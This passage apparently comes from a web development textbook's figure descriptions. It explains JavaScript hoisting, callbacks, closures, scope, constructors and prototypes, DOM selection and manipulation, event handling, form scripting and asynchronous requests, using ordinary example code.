return tax;

};

The "calculateTax" variable points to the beginning of the loop in the first
codeblock. Text next to the arrow reads, "Variable declaration is hoisted to
the beginning of its scope".

The "calculateTax(subtotal)" variable in the return statement of the first
codeblock is highlighted. Two texts pointing to this variable read as follows:

"BUT variable assignment is not hoisted". "THUS the value of the
calculateTax variable here is undefined".



Illustration shows three pieces of code, and two steps of instructions.

First line of code is displayed as follows:

var temp = calculateTotal(50,2,calcTax);

Another block of code is displayed as follows:

var calculateTotal = function (price, quantity, tax) {

var subtotal = price * quantity;

return subtotal + tax(subtotal);

};

The "calculateTotal" and "calcTax" in first code are referenced in
"calculateTotal" variable and tax, shown in the second code. Text identifies
this step as "Passing the calcTax() function object as a parameter".

The "tax" value in return statement of second code is referenced to variable
"calcTax" that is shown in next block of code, as follows:

var calcTax = function (subtotal) {

var taxRate = 0.05;

var tax = subtotal * taxRate;

return tax;

};

Text identifies this step as, "The local parameter variable tax is a reference to
the calcTax() function".

A text displayed next to the "calcTax" function in the first code reads, "We
can say that calcTax variable here is a callback function"



Code is displayed as follows:

var temp = calculateTotal( 50, 2,

function (subtotal) {

var taxRate = 0.05;

var tax = subtotal * taxRate;

return tax;

}

);

In this code, first line "var temp = calculateTotal(50,2," is highlighted as a
separate function. Rest of the code is highlighted as another function. Text
pointing to rest of code reads, "Passing an anonymous function definition as a
callback function parameter"



A parent object, (Order) is defined, containing two properties (product and
customer) and one output function, as follows:

var order = {

salesDate : "May 5, 2017",

product : {

type: "laptop",

price: 500.00,

output: function () {

return this.type + ' $' + this.price;

}

},

customer : {

name: "Sue Smith",

address: "123 Somewhere St",

output: function () {

return this.name + ', ' + this.address;

}

},

output: function () {

return 'Date' + this.salesDate;



}

};

A keyword, "this" is used in the return statement of Product property. An
arrow is drawn, pointing "this" keyword back to the parent, that is "Product".
Similarly, the "this" keyword which is used in the Customer property refers
back to its parent, that is Customer. Last "this" keyword used in the output
function refers to the parent object itself, that is "var Order".



Illustration shows three blocks of code where a text is displayed next to each
line of code. First block of code is as follows:

var c=0; (global variable c is defined)

outer(); (global function outer() is called)

Text in this block reads, "Anything declared in this block is global and is
accessible everywhere in this block".

A second block of code is shown inside the first block. Code is as follows:

function outer() {

var a=5; (local_outer variable "a" is defined)

inner(); (local function inner() is called)

console.log(c); (global variable "c" is accessed)

console.log(b); (undefined variable b is accessed)

}

Text in this block reads, "Anything declared inside this block is accessible
only in this block".

A third block of code is shown inside second block as follows:

function inner() {

console.log(a); (local_outer variable "a" is accessed)

var b=23; (local_inner variable "b" is defined)

c=37; (global variable "c" is changed)

}



Text in this block reads, "Anything declared inside this block is accessible
only in this block".

An arrow points from "var a=5" (where a is defined) in the second block to
"console.log(a)"(where a is accessed) in the third block. This action is labeled
as "allowed" and the output is "5".

Another arrow points from both "c=37" (where c is changed) in third block,
and "console.log(c)"(where c is accessed) in second block to "outer()" in first
block. This action is also labeled as "allowed" and output is "37".

A third arrow points from "console.log(b)"(where undefined variable b is
accessed) in second block to "var b=23" (where variable b is defined) in third
block. This action is labeled as "not allowed". Text next to arrow reads,
"generates error or outputs undefined".



The code shows:

A nested function has access to variables in its parent.

The temp variable is going to simply contain the value returned from the
inner child() function.

The closure example shows:

After parent executes, it might be expected that any local variables
defined within the function to be gone (i.e., garbage collected).

Yet in this example, this is not what happens. The local variable foo
sticks around even after it is finished executing. Why? ; This happens
because the parent function has become a closure.

A closure is a special object that contains a function and its scope
environment. A closure thus lets a function continue to access its design-
time lexical scope even if it is executed outside its original parent.

The example also shows:

That inner function is not invoked instead it is returned.

The temp variable is now going to contain the inner child() function.

The temp function still has access to the foo variable within the parent
function even though the temp function is now outside its declared
lexical scope (That is, the parent function).



Figure shows a big box labeled as Global. Two smaller boxes are placed
inside this big box. The first smaller box has another small box inside it.
Second smaller box has one more small box inside, which in turn contains
another smaller box. All small boxes are labeled as "Function", and they have
a window on one of their sides.

Following texts are displayed next to illustration:

Each function is like a box with a one-way window.

Within any function, it can see out at content of all its outer boxes.

But an outer function can't look into an inner function.

Functions can't see into other functions at the same level.

All functions can see anything within global scope.

Scope ends at global … functions can't see outside of the global box.



Illustration shows two screencaptures. First one, labeled as "This is what we
want..." shows the following text as output:

Data Structures and Algorithmm Analysis in C++

Weiss

Foundations of Finance

Keown

Martin

Literature for Composition

Barnet

Cain

Burto

Second screenshot, labeled as "...but this is what we get. Why?" shows
following text as output:

Data Structures and Algorithmm Analysis in C++

Weiss

Literature for Composition

Barnet

Cain

Burto



Javascript code is displayed as follows:

var myGlobal = 55;

function outer() {

var foo = 66;

function middle() {

var bar = 77;

function inner() {

var foo = 88;

bar = foo + myGlobal;

}

}

}

Three lines of function inner are color coded with a pink background. A line
is drawn from "foo" in last line to "var foo" in second line. A text under the
line reads, "1) looks first within current function.

Two lines of function middle are color coded with a blue background. A line
is drawn from "bar" in function inner to "var bar" in function middle. Text
beneath line reads, "2) then looks within first containing function".

Two lines of function outer are color coded with a pink background. A text
refering to this function reads, "3) then looks within next containing function.

First line of code, var myGlobal=55; is shown with a blue background color.
A line is drawn from "myGlobal" in function inner to "var myGlobal". Text
under the line reads, "4) then finally looks within global scope".



Figure displays a line of code as follows:

var cust = new Customer("Sue", "123 Somewhere", "Calgary");

Text pointing to "new" in this code reads, "A brand new empty object is
created and given the name cust".

Code for function is displayed next as follows:

function Customer(name,address,city) {

this.name = name;

this.address = address;

this.city = city;

}

An arrow points from "Customer" in object creation code to Customer
function. This step is defined as "Then the function is called".

A note is displayed pointing to the capitalized "Customer" in the function
declaration, which reads, "it is a coding convention to capitalize the first
letter of a constructor function".

A third text points to "this.name =name;" inside the function. The text reads,
"The new empty object is set as the context for this. Thus, new empty object
gains these property values."

Another text points from the function back to the "cust" variable name. The
text reads, "Since there is no return, the function will end with (no longer
empty) new object being assigned to cust variable".



Illustration shows three code pieces displayed inside a "Execution memory
space". First code piece shows a red die, and is displayed as follows:

x1 : Die

this.color = "red";

this.faces = [1,2,3,4,5,6];

this.randomRoll = function() {

var randNum = ...;

return faces[randNum-1];

};

Text next to this code reads, "A function expression is an object whose
content is definition of function..."

Second code piece shows a green die, and is displayed as follows:

x2 : Die

this.color = "green";

this.faces = [1,2,3,4,5,6];

this.randomRoll = function() {

var randNum = ...;

return faces[randNum-1];

};

Text next to this code reads,"so each instance will contain that same
content..."



Third code piece shows a blue die, and is displayed as follows:

x100 : Die

this.color = "blue";

this.faces = [1,2,3,4,5,6];

this.randomRoll = function() {

var randNum = ...;

return faces[randNum-1];

};

Illustration also shows multiple smaller versions of third piece of code.

Text next to this code reads, "which is incredibly memory inefficient when
there are many instances of that object".



Illustration shows three code pieces displayed inside a "Execution memory
space". Codes are as follows:

x1 : Die

this.color = "red";

this.faces = [1,2,3,4,5,6];

this.randomRoll

x2: Die

this.color = "red";

this.faces = [1,2,3,4,5,6];

this.randomRoll

x100: Die

this.color = "red";

this.faces = [1,2,3,4,5,6];

this.randomRoll

A prototype code is displayed as follows:

Die.prototype

randomRoll = function() {

var randNum = ...;

return faces[randNum-1];

};



This code points to "this.randomRoll" in above three code pieces. Text below
this code reads, "Now only a single copy of the randomRoll() function exists
in memory".



The browser window shows how extended example will look like once the
javaScript is completed and an “example.html” code shows no markup within
the <body> other than a <script> reference and an included script where code
needs to be inserted the markup.



Illustration shows screenshot of a webpage. It contains five boxes. Each box
displays a flag, and shows name, iso, capital and population of respective
countries. Five boxes show flags of Bahamas, Canada, Germany, Spain, and
United Kingdom. A text next to screenshot reads, "This is what the extended
example will look like in the browser once the JavaScript is completed."

A code is displayed below screenshot as follows:

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>Example</title>

<link rel="stylesheet" type="text/css" href="css/styles.css" />

</head>

<body>

<script type="text/javascript" language="javascript" src="js/example.js">
</script>

</body>

</html>

Text within this code reads, "Notice that there is no markup within the
<body> other than a <script> reference."

Another text pointing to "js.example.js" reads, "Here we are including the
script where we want the code to insert the markup.

Next part of code is displayed in six parts, as follow:



(heading) example.js (Text reads, "here the javascript is saved within an
external file")

1. // define constructor function for Country objects

function Country(name, iso, capital, population) {

“use strict”; (a text reads, “The “use strict” ensures that we can use this
within a function.”

this.name = name;

this.iso = iso;

this.capital = capital;

this.population = population;

}

2. 2) /* wrap this into an IIFE */

(function () {

"use strict";

3. 3) // create an array of sample country objects

var countries = [ (a text reads, "Remember that arrays are usually created
using the [ ] literals."

new Country("Bahamas", "BS", "Nassau", 301790),

new Country("Canada", "CA", "Ottawa", 33679000),

new Country("Germany", "DE", "Berlin", 81802257)

(another text pointing to the above three lines reads, "Remember that
when we use the function constructor we must use the new keyword.")



];

4. // you can also push each new country object onto the end of the array

countries.push(new Country("Spain", "ES", "Madrid", 46505963));

countries.push(new Country("United Kingdom", "GB", "London",
62348447));

5. // now loop through all this array of country objects

for (var i = 0; i < countries.length; i++) {

var c = countries[i];

document.write("<div class='box'>");

document.write("<img src='flags/" + c.iso + ".png' class='boxImg'>");

6. // here is something we haven't seen: the in loop

// which loops through properties in an object

for (var propertyName in c) {

document.write("<strong>");

document.write(propertyName + ": ");

document.write("</strong>");

document.write(c[propertyName]);

document.write("<br>");

}

document.write("</div>");

}



})(); (a text pointing to this function reads, "IIFE combines the
definition of an

anonymous function with its execution.")

Text pointing to "property Name" reads, "Properties of an object are usually
accessed using dot notation, but can also, as is the case here, by referencing
the property name as a string within [ ] brackets."



Screenshot shows a table in shopping cart page. Table has four columns,
labeled as "Product", number, "Price" and "Amount". Three paintings are
displayed in "Product" column along with their titles. "Number", "Price" and
"Amount" are displayed against each of these items. Bottom of table shows
entries for "SubTotal", "Tax", "Shipping" and "Grand total".

Following instructions are displayed, with each of them pointing to a part of
screenshot.

An instruction pointing to three pictures in Product column reads, "Replace
markup with Javascript loop using supplied array data".

A second instruction points to subtotal, tax, shipping and grand total fields of
table. Text reads, "Replace markup with calls to functions".

A third instruction, pointing to Amount column reads, "Create function to
output single cart row".

A fourth instruction, pointing to calculations for subtotal, tax, shipping and
grand total reads, "Create functions to calculate these values".



Webpage shows four boxes with captions as Canada, United States, Italy, and
Spain. Respective continent name is displayed under the header. Each box
contains two forms. First lists cities of that particular country. Second shows
a few photos under the title, "Popular photos". A button labeled as "Visit" is
displayed under each box.

An instruction pointing to country, continent, cities and photos of Canada
reads, "Create array of four country object literals that contain name,
continent, cities, and photos properties".

Another instruction pointing to four boxes reads, "Replace markup with a
JavaScript loop using data in your array of country objects".

An instruction pointing to Cities form reads, "Create an inner function to
output cities box".

Another instruction pointing to Popular photos form reads, "Create an inner
function to output photos box".



Webpage is titled as "User's Products". It displays five columns, each
displaying front page of a book, followed by a short summary. Book titles are
as follows:

Database Processing

Basics of Web Design

The Economic way of thinking

Introduction to Engineering Analysis

C++ Early Objects

Following three instructions are displayed on left side of webpage:

"Create a function constructor named Book that represents the data in a single
book".

"Add a prototype function called outputCard() that generates the markup for a
single book card using the data in the Book object".

"Create an array of Book objects that passes the book data (in the markup) to
the constructor".

Next instruction is displayed at bottom of webpage:

"Replace markup with IIFE that consists of a loop that calls the outputCard()
function of each Book".

Following four instructions point to the last blurb for "C++ Early Objects".

"image filename is images/isbn.jpg" (points to the header).

"Use the title of the book as the title attribute of the <img> tag) (points to the
book image).

"description" (points to the book summary).



"array of universities" (points to a list of universities mentioned in the book
summary).



Figure shows a tree structure with six levels of objects. Topmost level shows
<document> which is labeled as "Document root". At second level, we have
<html>, which branches off into <head> and <body> at third level. Both
<head> and <body> are labeled as sibling nodes. Each of objects in second
and third level are labeled as <nodes>.

Fourth level shows <head> and <body> branch off in following way:

* <head>

- <meta>

- <title>

*<body>

- <h1>

- <p>

- <img>

- <h2>

- <div>

- <div>

A downward arrow labeled "Child nodes" is displayed at fourth level of
objects.

Fifth and sixth levels from child nodes of <body> are shown below:

<p>

-<a>

<div>



-<p>

* <time>

-<p>

<div>

-<p>

* <time>

-<p>

An upward arrow labeled "Parent node" is shown at sixth level of objects.

A sample code is displayed as follows:

<html>

<head>

<meta charset="utf-8">

<title>Share Your Travels</title>

</head>

<body>

<h1>Share Your Travels</h1>

<p>Photo of Conservatory Pond in

<a href="http://www.centralpark.com/">Central Park</a>

</p>

<img src="images/central-park.jpg" alt="Central Park" />



<h2>Reviews</h2>

<div id="latestComment">

<p>By Ricardo on <time>2016-05-23</time</p>

<p>Easy on the HDR buddy.</p>

</div>

<div>

<p>By Susan on <time>2016-11-18</time></p>

<p>I love Central Park.</p>

</div>

</body>

</html>



Figure shows a tree structure with three levels of objects. Each of these
objects are classified as a type of node, as shown below:

<p> (Element node)

- Photo of Conservatory Pond in (Text node)

- [returns and spaces] (Text node)

- <a> (Element node)

* href='http://www.centralpark.com/"" (Attribute node)

* Central Park (Text node)

Code for this structure is as follows:

<p>Photo of Conservatory Pond in <a
href=""http://www.centralpark.com/"">Central Park</a></p>



Figure shows a block of code as follows:

<body>

<h1>Reviews</h1>

<div id="latest">

<p>By Ricardo on <time>2016-05-23</time</p>

<p class="comment">Easy on the HDR buddy.</p>

</div>

<hr/>

<div>

<p>By Susan on <time>2016-11-18</time></p>

<p class="comment">I love Central Park.</p>

</div>

<hr/>

</body>

Three getElement() methods are used to select elements. First method points
to first <div> element whose id is "latest". Method is as follows:

var node = document.getElementById("latest");

Second method points to both the <div> elements. Method is shown as
follows:

var list1 = document.getElementsByTagName("div");



Third method points to to <p> elements whose class name is "comment".
Method is shown as follows:

var list2 = document.getElementByClassName("comment");



Figure shows a block of code, and also displays methods used to select
specific elements. First part of code is as follows:

<body>

<nav>

<ul>

<li><a href="#">Canada</a></li>

<li><a href="#">Germany</a></li>

<li><a href="#">United States</a></li>

</ul>

</nav>

A querySelectorAll method is displayed as follows:

querySelectorAll("nav ul a:link")

This method points to three lines between <ul> and </ul> in code block.

Next part of code is as follows:

<div id="main">

Comments as of

<time>November 15, 2012</time>

Method "querySelector("#main>time"), is used to select the <time> element
in above code.

Next part of code is as follows:



<div>

<p>By Ricardo on <time>September 15, 2012</time></p>

<p>Easy on the HDR buddy.</p>

</div>

<div>

<p>By Susan on <time>October 1, 2012</time></p>

<p>I love Central Park.</p>

</div>

</div>

Two time elements in this code are selected using following method:

querySelectorAll("#main div time")

Last part of code is as follows:

<footer>

<ul>

<li><a href="#">Home</a> | </li>

<li><a href="#">Browse</a> | </li>

</ul>

</footer>

</body>

Footer element is selected using method, querySelector("footer").



CSS Style property is displayed as follows:

<style>

.box {

margin: 2em; padding: 0;

border: solid 1pt black;

}

.yellowish { background-color: #EFE63F; }

.hide { display: none; }

</style>

<main>

<div class="box">

...

</div>

</main>

The className and classList properties are used to change the appearance of
the <div> element, as shown :

var node = document.querySelector("main div");

1) node.className = "yellowish"; (a text reads as follows "This replaces the
existing class specification with this one (<div class="yellowish">). Thus the
<div> no longer has the box class")

2) node.classList.remove("yellowish");



node.classList.add("box"); (a text reads as follows "Removes the specified
class specification and adds the box class"). The resultant change is as
follows:

<div class="">

<div class="box">

3) node.classList.add("yellowish"); ( a text reads as follows, "Adds a new
class to the existing class specification"). The resultant change is as follows:

<div class="box yellowish">

4) node.classList.toggle("hide"); ( a text reads as follows, "If it isn't in the
class specification, then add it").The resultant change is as follows:

<div class="box yellowish hide">

5) node.classList.toggle("hide"); ( a text reads as follows, "If it is in the class
specification, then hide it").The resultant change is as follows:

<div class="box yellowish">



Figure shows a piece of code as follows:

<body>

<p>

This is some <strong>text</strong>

</p>

<h1>Title goes here</h1>

<div>

</div>

</body>

In this figure, the <body> element is marked as the parent of <p>, while <p>
is marked as first child of <body>. Ssecond <p> element, <h1>, and <div>
are marked as childNodes, with <div> marked as the lastChild. <h1> is
marked as the previous sibling of <p>, while <div> is marked as its next
sibling.



The figure shows a code at the top and enclosed in a box as:

<div id="first">

<h1>DOM Example</h1>

<p>Existing element</p>

</div>

At the right of the above code, there is another code in a box (labeled
“Visualizing the DOM elements”) as:

<div >

<h1> “DOM Example”</h1>

<p> “Existing element”</p>

</div>

The steps shown are:

1. Create a new text node

var text = document.createTextNode("this is dynamic"); with “"this
is dynamic"

2. Create a new empty <p> element

var p = document.createElement("p"); with <p></p>.

3. Add the text node to new <p> element

p.appendChild(text); with <p> "this is dynamic" </p>

4. Add the <p> element to the <div>



var first = document.getElementById("first");

first.appendChild(p);

At the bottom it shows code:

<div id="first">

<h1>DOM Example</h1>

<p>Existing element</p>

<p>this is dynamic</p>

</div>

At the right of above code, a code is shown as:

<div >

<h1> “DOM Example”</h1>

<p> “Existing element” </p>

<p> “this is dynamic” </p>

</div>



Upper half of screen shows a webpage with a field to enter data. Lower half
shows a task bar with various tabs labeled as "Inspector", "Console",
"Debugger", "Style editor", "Performance", and "Memory". Debugger tab is
opened, and it shows screen divided into three vertical sections.

Left section shows the Source of file under inspection. Middle section shows
code selected for debugging. Lines are numbered, and one line is highlighted.
Highlighted line is displayed in left panel. Right panel displays a dissection
of highlighted line under "Variables" tab. Arguments, methods, and nodes are
numbered and displayed.



Screenshot show three horizontal sections. Top section shows a webpage
under inspection. Middle section shows a taskbar with various tabs labeled as
"Elements", "Console", "Sources", "Network", "Timeline", "Profiles", etc.
Profiles tab is opened and CPU profile is highlighted on left side of middle
section.

Middle section shows three columns. Third column lists various functions of
JavaScript code under inspection. First and second columns are labeled as
"Self time" and "Total time". Loading time for each of these functions is
displayed in milliseconds.

Bottom section shows log, displaying time taken to run each code block.



Figure shows two screenshots. Screenshot at foreground shows "JSHint tool"
integrated with the command line interface. A JavaScript code is displayed,
and a warning is displayed at line number 5 over a missing semi-colon.

Screenshot in background shows "JSLint tool" open in a browser. A
JavaScript code is displayed in top half of the screen. Bottom half displays
results of code run, with a warning, and message that "JSLint" was unable to
finish. Errors are displayed for the variable, for loop and even for trailing
white space.



A HTML document is displayed as follows:

…

<script type="text/javascript" src="inline.js"></script>

…

<form name='mainForm' onsubmit="validate(this);">

<input name="name" type="text"

onchange="check(this);"

onfocus="highlight(this, true);"

onblur="highlight(this, false);">

<input name="email" type="text"

onchange="check(this);"

onfocus="highlight(this, true);"

onblur="highlight(this, false);">

<input type="submit"

onclick="function (e) {

…

}">

…

The "inline.js" in first line is expanded to display following three JavaScript
functions:



function validate(node) {

…

}

function check(node) {

…

}

function highlight(node) {

…

}

Arrows are drawn like hooks from html document to these three functions.
The html code containing "validate this" is hooked to validate(node) function.
Two separate code lines containing "check this" are hooked to check(node)
function. Four lines containing "highlight()" are connected to the
highlight(node) function.

Text at the end of html document reads as follows: "Notice that you can
define an entire event handling function within the markup. This is NOT
recommended"



The figure shows a piece of code as follows:

<body>

<main>

<h1>Main Title</h1>

<div class="panel">

<h2>subtitle 1</h2>

<p>…</p>

</div>

…

The line within the <h2> element is highlighted. Text pointing to this line
reads, "Clicking on this <h2> element also means you are clicking on all of
its ascendant elements. This click event thus propagates or bubbles upwards."

Arrows are drawn from this line to the <div>, <main>, and <body> elements.
Text next to these arrows reads, "The click event on the <h2> will also fire
for each of its ascendant elements as well."



Figure shows four screenshots. Top left screen shows an image with some
text and a "Hide" button. An arrow points from left screen to right screen
where text has faded out. Hide button is now changed to "Show". Two texts
explain this transition as follows: "When Hide button is clicked, the text fades
to transparent." "The label for the button is also changed".

Third screen at bottom right shows text completely removed. An arrow points
from top right screen to bottom right screen with following text: "When text
is transparent, element for that text is hidden, thus removing the extra space
for hidden element".

Fourth screen at bottom left shows same image with a grayscale filter
applied. An arrow points from right screen to left screen at bottom with
following text: "If the user mouses over the image, then the grayscale filter is
applied to the image. If the user mouses out of the image, then the grayscale
filter is removed from the image".

Code that applies these changes is shown as follows, along with explanatory
texts:

/* fades content to invisible across 1.5 seconds */

.makeItDisappear {

-webkit-filter: opacity(0);

-webkit-transition: -webkit-filter 1.5s;

(Necessary for Chrome)

filter: opacity(0);

transition-duration: 1.5s;

transition-property: filter -webkit-filter (Necessary for Chrome);

}



[Necessary for other browsers(also note using separate transition properties
rather than shortcut property)]

/* applies grayscale filter across 1.5 seconds */

.makeItGray {

-webkit-filter: grayscale(100%);

-webkit-transition: -webkit-filter 1.5s;

filter: grayscale(100%);

transition: filter 1.5s;

}

(Used when user moves mouse cursor over the image. When this happens,we
are going to apply this CSS class to remove the color from the image. We
won't make this change immediately;instead it will happen gradually across
1.5 seconds).

/* removes filters across 1.5 seconds */

.makeItNormal {

-webkit-filter: none;

-webkit-transition: -webkit-filter 1.5s;

filter: none;

transition: filter 1.5s;

}

(Used when user moves mouse cursor out of the image. When this happens,
we are going to apply this CSS class to restore the color back to the image.
We won't make this change immediately;



instead it will happen gradually across 1.5 seconds

example.htm

<div id="main">

<img src="images/8711645510.jpg" id="mainImage" alt="main image" />

<p id="content">

Lorem ipsum dolor sit amet, consectetur adipiscing elit, ...

</p>

<button id="testButton">Hide</button>

</div>

// set up the event listeners after the DOM is loaded

window.addEventListener("load", function() {

var btn = document.getElementById("testButton");

/* when button is clicked either fade the text or make it reappear */

btn.addEventListener("click", function (e) {

var content = document.getElementById("content");

(get a reference to the text content)

/* if button's label is Hide, then change it to show and fade text content */

if (btn.innerHTML == "Hide") {

btn.innerHTML = "Show";

content.className = "makeItDisappear";



(We are going to hide the text content by changing its CSS class to
makeItDisapper).

/* wait one second before hiding element */

setTimeout(function(){

content.style.display = "none";

},1000); (Wait 1000ms (1 sec) before executing the anonymous function
passed to setTimeout())

(We need to hide the <p> element that contains the text. However, we don't
want to do this until the CSS fade transform is complete.Thus, we use the
setTimeout() function to delay the hiding of the element.)

}

else {

/* button's label is Show: change it to Hide and show text content */

btn.innerHTML = "Hide";

content.style.display = "block";

(Restore the default display mode to the <p> element)

setTimeout(function(){

content.className = "makeItNormal";

},500);

}

});

(Restore the visibility of the text content after waiting 0.5 of a second.)



var img = document.getElementById("mainImage");

(get a reference to the image)

/* changes the style of the image when it is moused over */

img.addEventListener("mouseover",function (event) {

img.className = "makeItGray";

});

(When user moves mouse over image, then apply CSS class that fades it to
grey).

/* remove the styling when mouse leaves image */

img.addEventListener("mouseout",function (event) {

img.className = "makeItNormal";

});

});

(When user moves mouse out of the image, then apply CSS class that
removes grayscale filter).



It shows coding:

That fades content to invisible across 1.5 seconds for chrome and for
other browsers.

That applies grayscale filter across 1.5 seconds

That removes filters across 1.5 seconds.



It shows coding:

That set up the event listeners after the DOM is loaded.

When button is clicked either fade the text or make it reappear .

If button's label is Hide, then change it to show and fade text content.

Wait one second before hiding element.

Button's label is Show: change it to Hide and show text content.

Changes the style of the image when it is moused over.

Remove the styling when mouse leaves image.



Figure shows two screens. Left screen shows a registration form with entry
fields and buttons. A text next to screen reads, "How form appears when no
controls have focus".

Right screen shows same registration form with cursor placed in second field.
Background color changes in this field. A text pointing to field says, "When a
control has the focus, then change its background color".

Code that renders this behavior is shown as follows, along with explanatory
text:

// This function is going to get called every time the focus or blur events are

// triggered in one of our form's input elements.

function setBackground(e) {

if (e.type == "focus") {

e.target.style.backgroundColor = "#FFE393";

}

else if (e.type == "blur") {

e.target.style.backgroundColor = "white";

}

}

[A text pointing to the two 'target.style' statements reads "Here we use the
style property instead of the classList property because of specificity conflicts
(i.e., attribute selectors override class selectors)."]

// set up the event listeners only after the DOM is loaded

window.addEventListener("load", function() {



var cssSelector = "input[type=text],input[type=password]";

var fields = document.querySelectorAll(cssSelector);

(Selects the fields that will change.)

for (i=0; i<fields.length; i++) {

fields[i].addEventListener("focus", setBackground);

fields[i].addEventListener("blur", setBackground);

}

});

(Assigns the setBackground() function to change the background color of the
control depending upon whether it has the focus.)



Illustration shows three screens. First screen on top displays a Registration
form with input fields and buttons. Two radio buttons are displayed for
Europe and United states. An empty select list is displayed below buttons. A
text next to screen reads, "Initially the <select> list is disabled."

Second screen shows Europe radio button selected, and select list is enabled,
displaying the text "Select Payment Type". Icon on label also reflects radio
button selection. Two texts next to screen read as follows: "But when user
changes a radio button, enable the select list..." "...change the icon in the label
based on the radio button..."

Third screen shows "Select list" populated with two items. A text next to
screen reads, "...and then populate list with appropriate option values."

Code that renders first screen is as follows:

// depending on the state of the region radio buttons

// change the options of the select list

var label = document.getElementById("payLabel");

var select = document.getElementById("payment");

select.disabled = true;

var radios = document.querySelectorAll("input[name=region]");

Code that renders second and third screen is as follows:

// listen to each radio button

for (var i=0; i < radios.length; i++) {

// whenever a radio button changes, modify the select

// list as well as the label beside it



radios[i].addEventListener("change",

function (e) {

select.disabled = false;

select.innerHTML = "";

addOption(select, "Select Payment Type" , "0");

var choice = e.target.value;

if (choice == "United States") {

// display the dollar symbol

label.classList.remove("fa-euro");

label.classList.add("fa-dollar");

addOption(select, "American Express" , "1");

addOption(select, "Mastercard" , "2");

addOption(select, "Visa" , "3");

}

else if (choice == "Europe") {

// display the euro symbol

label.classList.remove("fa-dollar");

label.classList.add("fa-euro");

addOption(select, "Bitcoin" , "4");

addOption(select, "PayPal" , "5");



}

}

);

}

function addOption(select, optionText, optionValue) {

var opt = document.createElement('option');

opt.appendChild( document.createTextNode(optionText) );

opt.value = optionValue;

select.appendChild(opt);

}

(Use the DOM functions from Section 9.2 to create a new <option> element,
populate it with the appropriate text, and then add it to the <select> element.)



Figure shows a list in which "Australia" is selected. Text below the list reads,
"The default selected item is the first option in the list".

Code for select list is shown as follows:

<select id="countries">

<option value="34">Australia</option>

<option value="12">Canada</option>

<option value="5">Germany</option>

</select>

SelectIndex values are displayed in following code block:

var c = document.getElementById("countries");

alert(c.selectedIndex); //(value is shown as 0)

alert(c.value); //(value is shown as 34)

alert(c.options[c.selectedIndex].textContent; //(text content is shown as
Australia)

alert(c.options[c.selectedIndex].value; //(value is shown as 34)

SelectedIndex values of three items in list are displayed as follows:

Australia: 0

Canada: 1

Germany: 2



First step of process shows a User terminal sending a GET /form.php request
to "Web Server". Server returns requested page which contains four countries
represented as radio buttons, along with an update button and a disabled
menu labeled as State.

Third step shows radio button for "Canada" selected in webpage. Text next to
screen reads, "User selects country, then clicks Update button". In fourth
step, form "GET /form.php?country=canada" is sent from user terminal to
"Web Server".

Fifth step shows browser page where form is updated. Radio button for
Canada is selected. Label of menu is changed from State to Province. Various
entries are populated in menu. Text describes this step as "Requested page
(with updated form) is returned.

Sixth step is described as, "User continues with form, perhaps triggering
other requests…"



First step shows a request arriving at a ""Web Server"". Second step shows
server give out a response. Third step shows a blank browser. It points to
fourth step which shows a browser with four country radio buttons, an update
button and an empty ""State"" menu. Two texts describe third and fourth
steps as follows: ""After browser receives a response to its HTTP request, it
blanks browser window, and ...."" ""...renders the just-received HTML in the
browser window.""

In fifth and sixth steps, request is sent again to ""Web Browser"" which gives
out another response. Seventh step shows another blank browser. It points to
another browser window where ""Canada"" is selected and ""Province""
menu shows various options. Two texts describe seventh and eighth steps as
follows: ""Another new response has been received, so browser window is
blanked and..."" ""...renders the just-received HTML in the browser
window.""



First step shows a request arriving at a Web Server. Second step shows
Server give out a response. Third step shows a blank browser. Fourth step
shows a browser with four country radio buttons, an update button and an
empty "State" menu. Two texts describe third and fourth steps as follows:
"After browser receives a response to its HTTP request, it blanks the browser
window, and ...." "...renders the just-received HTML in the browser
window."

Fifth step where "the user clicks update button" shows a hand icon on
"update" button of browser window. In sixth step, "Via JavaScript, browser
makes asynchronous request for data."

Seventh step shows server respond back to browser. Text describes this step
as "Browser returns XML or JSON or some other type of data." In eighth
step, browser is updated with Canada button selected, and Province menu
displaying various options. Text describes this step as, "Via JavaScript,
browser dynamically updates window to change label and populate list with
provinces of Canada."



First screenshot shows a page titled as "Edit Art Work Details". It contains an
entry form with five input fields, two menu items, two radio buttons and four
checkboxes. Seven fields (Title, Description, Genre, Subject, Medium, Year,
and Museum) are marked as "highlightable", while three fields (Title,
Description, and Year) are marked as "required fields". Form shows "Submit"
and "Clear" form buttons at bottom.

In second screenshot, "Description field" is colored. Text pointing to this
field reads, "Add handlers for focus and blur events. These handlers will
toggle (add or remove) class highlight".

Third screenshot shows "Title, Description, and Year fields" with a pink
background and error icons. Text pointing to these fields reads, "When user
submits, if any of the required fields is empty, then add the class error to the
required elements". Another text pointing to the Submit button reads, "Add
handler for the submit event of the form".



Left screenshot shows a webpage titled "Share Your Travels". Five
thumbnails of photos are displayed in a row at bottom of page. One of photos
is enlarged and displayed in main page. Text pointing to a thumbnail and
enlarged version reads, "When user clicks on a thumbnail, display larger
version (in the images/medium folder)".

Another text pointing to thumbnail images reads, "Add handler for the click
event of the <div> element that contains these thumbnails".

Right screenshot show same webpage with an enlarged image and five
thumbnails. Enlarged image has a translucent band at bottom for displaying
caption. Text pointing to this band reads, "Add handler for mouseover and
mouseout events that fades the <figcaption> into or out of visibility".



!Left screenshot shows "Event planner" page of the "CRM Admin" website.
A calender for October 2014 is displayed, with a tab for "Meeting details"
shown below. A button labeled as "Highlight nodes" is displayed at bottom of
screen. Text pointing to this button reads, "When clicked, recursively
navigate through DOM tree and for each element node, add a new <span> to
display element's name".

Right screenshot shows same page where tag name is displayed for each
element. CRM is marked as header, while Admin is marked as H1. Bar which
holds title is marked as Span. Event planner element is marked as H2 while
bar is marked as Nav.

Month name of calender is marked as Caption. Weeknames are marked as
TH while the dates are marked as TD.

Elements in "Meeting details" section are similarly tagged with "Label,
Legend, Fieldset and Button".

Text displayed next to this screenshot reads, "Add a listener for click event of
these new <span> elements that displays details about parent's element in
alert box".

The "Highlight node" button in left screenshot is now shown as "Hide
Highlight node". Text pointing to both these buttons reads, "Change the
visibility of these two buttons based on the node highlighting".



First pie chart shows percentage share of the "JavaScript" frameworks in the
top 10,000 sites. Data is as follows:

jQuery: 64 percent

YUI: 7 percent

Backbone: 7 percent

Prototype: 5 percent

Others: 17 percent

Second pie chart shows percentage share of JavaScript frameworks in top
million sites. Data is as follows:

jQuery: 84 percent

YUI: 3 percent

Prototype: 3 percent

Others: 10 percent



A HTML code is displayed as follows. The jQuery selectors are mentioned in
brackets just after HTML statement that is being selected.

<body>

<nav>

<ul>
